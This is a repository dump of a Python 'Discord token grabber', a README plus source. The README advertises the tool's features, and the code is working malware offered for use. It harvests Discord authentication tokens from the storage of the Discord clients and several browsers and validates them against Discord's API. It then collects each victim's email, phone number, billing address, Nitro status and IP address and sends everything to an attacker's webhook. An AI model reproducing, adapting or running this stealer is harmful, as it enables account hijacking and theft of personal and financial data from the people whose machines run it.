├── README.md └── grabber.py /README.md: -------------------------------------------------------------------------------- 1 | # discord-token-grabber-python 2 | Discord Token Grabber for Python 3 | 4 | # Features 5 | 6 | Supports all Discord versions and major browsers, such as: 7 | - Discord 8 | - Discord Canary 9 | - Discord PTB 10 | - Google Chrome 11 | - Opera 12 | - Opera GX 13 | - Brave 14 | - Yandex 15 | - Vivaldi 16 | - Firefox support coming soon 17 | 18 | ------------ 19 | 20 | Shows info about grabbed tokens, such as: 21 | - Username / Tag 22 | - User ID 23 | - Email 24 | - Locale 25 | - Language 26 | - IP Address 27 | - Phone Number 28 | - Checks if the token is verified or not 29 | - Checks for billing info 30 | - Checks if the account has nitro 31 | - Gives basic info about nitro subscription if one is found 32 | - Gives basic billing information if it is found 33 | - More coming soon 34 | 35 | ![](https://media.discordapp.net/attachments/852275868939190275/854106913749729280/unknown.png) 36 | 37 | ------------ 38 | 39 | Sends tokens and token info to a webhook of your choice in an embed. 40 | 41 | ------------ 42 | 43 | 44 | Stops multiple tokens for the same account being used, also avoids sending email/phone locked tokens. 45 | # Credits 46 | This token grabber was made by me, If you can think of any more features just submit an issue and I can try to add it 47 | Also please leave credit to me if you decide to use this code, I would appriciate it 48 | -------------------------------------------------------------------------------- /grabber.py: -------------------------------------------------------------------------------- 1 | WEBHOOK_URL = '' 2 | 3 | import os, json, re, urllib3, random 4 | if os.name != "nt": exit() 5 | 6 | from urllib.request import Request, urlopen 7 | from requests import post, get 8 | from datetime import datetime 9 | 10 | user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:7.0) Gecko/20150626 Firefox/36.0', 11 | 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_5) AppleWebKit/5342 (KHTML, like Gecko) Chrome/37.0.869.0 Mobile Safari/5342', 12 | 'Opera/8.11 (Windows NT 6.1; sl-SI) Presto/2.8.218 Version/12.00', 13 | 'Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_3 rv:6.0) Gecko/20130514 Firefox/36.0', 14 | 'Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Trident/4.1)', 15 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0 rv:4.0) Gecko/20180512 Firefox/35.0', 16 | 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8_4) AppleWebKit/5352 (KHTML, like Gecko) Chrome/40.0.820.0 Mobile Safari/5352', 17 | 'Opera/8.83 (X11; Linux x86_64; sl-SI) Presto/2.8.187 Version/11.00', 18 | 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_3) AppleWebKit/5332 (KHTML, like Gecko) Chrome/40.0.829.0 Mobile Safari/5332', 19 | 'Opera/9.63 (X11; Linux x86_64; sl-SI) Presto/2.12.183 Version/12.00'] 20 | user_agent = random.choice(user_agents) 21 | 22 | ip_address = get('http://checkip.amazonaws.com').content.decode('utf8')[:-2] 23 | 24 | def GetTokens(): 25 | local = os.getenv('LOCALAPPDATA') 26 | roaming = os.getenv('APPDATA') 27 | ldb = '\\Local Storage\\leveldb' 28 | paths = { 29 | 'Discord': roaming + '\\Discord' , 30 | 'Discord Canary': roaming + '\\discordcanary', 31 | 'Discord PTB': roaming + '\\discordptb', 32 | 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default', 33 | 'Opera': roaming + '\\Opera Software\\Opera Stable', 34 | 'Opera GX': roaming + '\\Opera Software\\Opera GX Stable', 35 | 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 36 | 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default', 37 | "Vivaldi" : local + "\\Vivaldi\\User Data\\Default\\" 38 | } 39 | grabbed = {} 40 | token_ids = [] 41 | for platform, path in paths.items(): 42 | if not os.path.exists(path): continue 43 | tokens = [] 44 | for file_name in os.listdir(path + ldb): 45 | if not file_name.endswith('.log') and not file_name.endswith('.ldb'): 46 | continue 47 | for line in [x.strip() for x in open(f'{path + ldb}\\{file_name}', errors='ignore').readlines() if x.strip()]: 48 | for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'): 49 | for token in re.findall(regex, line): 50 | if token in tokens: 51 | pass 52 | else: 53 | response = post(f'https://discord.com/api/v6/invite/{random.randint(1,9999999)}', headers={'Authorization': token}) 54 | if "You need to verify your account in order to perform this action." in str(response.content) or "401: Unauthorized" in str(response.content): 55 | pass 56 | else: 57 | tokenid = token[:24] 58 | if tokenid in token_ids: 59 | pass 60 | else: 61 | token_ids.append(tokenid) 62 | tokens.append(token) 63 | if len(tokens) > 0: 64 | grabbed[platform] = tokens 65 | return grabbed 66 | 67 | def GetUsername(token): 68 | headers = { 69 | 'Authorization': token, 70 | 'Content-Type': 'application/json' 71 | } 72 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 73 | 74 | username = f'{info["username"]}#{info["discriminator"]}' 75 | return username 76 | 77 | 78 | def GetUserId(token): 79 | headers = { 80 | 'Authorization': token, 81 | 'Content-Type': 'application/json' 82 | } 83 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 84 | userid = info['id'] 85 | return userid 86 | 87 | def GetEmail(token): 88 | headers = { 89 | 'Authorization': token, 90 | 'Content-Type': 'application/json' 91 | } 92 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 93 | email = info['email'] 94 | return email 95 | 96 | def GetPhoneNumber(token): 97 | headers = { 98 | 'Authorization': token, 99 | 'Content-Type': 'application/json' 100 | } 101 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 102 | phone_number = info['phone'] 103 | return phone_number 104 | 105 | def VerifiedCheck(token): 106 | headers = { 107 | 'Authorization': token, 108 | 'Content-Type': 'application/json' 109 | } 110 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 111 | verified = info['verified'] 112 | verified = bool(verified) 113 | return verified 114 | 115 | def BillingCheck(token): 116 | headers = { 117 | 'Authorization': token, 118 | 'Content-Type': 'application/json' 119 | } 120 | info = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() 121 | print(info) 122 | if len(info) > 0: 123 | billing_info = [] 124 | 125 | addr = info[0]['billing_address'] 126 | 127 | name = addr['name'] 128 | billing_info.append(name) 129 | 130 | address_1 = addr['line_1'] 131 | billing_info.append(address_1) 132 | 133 | address_2 = addr['line_2'] 134 | billing_info.append(address_2) 135 | 136 | city = addr['city'] 137 | billing_info.append(city) 138 | 139 | postal_code = addr['postal_code'] 140 | billing_info.append(postal_code) 141 | 142 | state = addr['state'] 143 | billing_info.append(state) 144 | 145 | country = addr['country'] 146 | billing_info.append(country) 147 | 148 | print(billing_info) 149 | 150 | return True, billing_info 151 | else: 152 | return False, info 153 | 154 | def NitroCheck(token): 155 | headers = { 156 | 'Authorization': token, 157 | 'Content-Type': 'application/json' 158 | } 159 | 160 | 161 | has_nitro = False 162 | res = get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers) 163 | nitro_data = res.json() 164 | has_nitro = bool(len(nitro_data) > 0) 165 | if has_nitro: 166 | has_nitro = True 167 | end = datetime.strptime(nitro_data[0]["current_period_end"].split('.')[0], "%Y-%m-%dT%H:%M:%S") 168 | start = datetime.strptime(nitro_data[0]["current_period_start"].split('.')[0], "%Y-%m-%dT%H:%M:%S") 169 | days_left = abs((start - end).days) 170 | 171 | return has_nitro, start, end, days_left 172 | else: 173 | has_nitro = False 174 | return has_nitro, nitro_data 175 | 176 | def GetLocale(token): 177 | languages = { 178 | 'da' : 'Danish, Denmark', 179 | 'de' : 'German, Germany', 180 | 'en-GB' : 'English, United Kingdom', 181 | 'en-US' : 'English, United States', 182 | 'es-ES' : 'Spanish, Spain', 183 | 'fr' : 'French, France', 184 | 'hr' : 'Croatian, Croatia', 185 | 'lt' : 'Lithuanian, Lithuania', 186 | 'hu' : 'Hungarian, Hungary', 187 | 'nl' : 'Dutch, Netherlands', 188 | 'no' : 'Norwegian, Norway', 189 | 'pl' : 'Polish, Poland', 190 | 'pt-BR' : 'Portuguese, Brazilian, Brazil', 191 | 'ro' : 'Romanian, Romania', 192 | 'fi' : 'Finnish, Finland', 193 | 'sv-SE' : 'Swedish, Sweden', 194 | 'vi' : 'Vietnamese, Vietnam', 195 | 'tr' : 'Turkish, Turkey', 196 | 'cs' : 'Czech, Czechia, Czech Republic', 197 | 'el' : 'Greek, Greece', 198 | 'bg' : 'Bulgarian, Bulgaria', 199 | 'ru' : 'Russian, Russia', 200 | 'uk' : 'Ukranian, Ukraine', 201 | 'th' : 'Thai, Thailand', 202 | 'zh-CN' : 'Chinese, China', 203 | 'ja' : 'Japanese', 204 | 'zh-TW' : 'Chinese, Taiwan', 205 | 'ko' : 'Korean, Korea' 206 | } 207 | 208 | 209 | headers = { 210 | 'Authorization': token, 211 | 'Content-Type': 'application/json' 212 | } 213 | info = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() 214 | locale = info['locale'] 215 | language = languages.get(locale) 216 | 217 | return locale, language 218 | 219 | 220 | 221 | 222 | def SendTokens(webhook_url, tokens_grabbed = None): 223 | if not tokens_grabbed: tokens_grabbed = GetTokens() 224 | embed = [{'description' : ''}] 225 | tokens_info = [] 226 | for app in list(tokens_grabbed.keys()): 227 | for token in tokens_grabbed[app]: 228 | tokens_info.append(token) 229 | embed[0]['description'] += f'\n```diff\n+ Grabbed From {app}\n'+ '\n\n'.join(tokens_grabbed[app]) + '\n```' 230 | 231 | for token in tokens_info: 232 | 233 | username = GetUsername(token) 234 | user_id = GetUserId(token) 235 | email = GetEmail(token) 236 | phone_number = GetPhoneNumber(token) 237 | verified_check = VerifiedCheck(token) 238 | billing = BillingCheck(token)[0] 239 | billing_info = BillingCheck(token)[1] 240 | nitro = NitroCheck(token)[0] 241 | locale = GetLocale(token)[0] 242 | language = GetLocale(token)[1] 243 | 244 | 245 | embed[0]['description'] += f'\n```diff\n+ Token Info for\n{token}\n\n' 246 | 247 | embed[0]['description'] += f'''Username = {username} 248 | User Id = {user_id} 249 | Ip Address = {ip_address} 250 | Email = {email} 251 | Phone = {phone_number} 252 | Verified = {verified_check} 253 | Billing = {billing} 254 | ''' 255 | 256 | if billing == True: 257 | name = billing_info[0] 258 | address_1 = billing_info[1] 259 | address_2 = billing_info[2] 260 | city = billing_info[3] 261 | postal_code = billing_info[4] 262 | state = billing_info[5] 263 | country = billing_info[6] 264 | 265 | embed[0]['description'] += f'\nName = {name}\nAddress Line 1 = {address_1}\nAddress Line 2 = {address_2}\nCity = {city}\nPostal Code = {postal_code}\nState = {state}\nCountry = {country}\n\n' 266 | 267 | embed[0]['description'] += f'''Nitro = {nitro} 268 | ''' 269 | 270 | if nitro == True: 271 | nitrostart = NitroCheck(token)[1] 272 | nitroend = NitroCheck(token)[2] 273 | daysofnitro = NitroCheck(token)[3] 274 | embed[0]['description'] += f'\nNitro Started = {nitrostart}\nNitro Ends = {nitroend}\nDays Left = {daysofnitro}\n\n' 275 | 276 | embed[0]['description'] += f'''Locale = {locale} 277 | Language = {language}''' 278 | 279 | 280 | embed[0]['description'] += '```' 281 | 282 | 283 | 284 | urlopen(Request(webhook_url, data=json.dumps({"embeds" : embed}).encode(), headers={'Content-Type': 'application/json','User-Agent': f'{user_agent}'})) 285 | 286 | 287 | SendTokens(WEBHOOK_URL) 288 | --------------------------------------------------------------------------------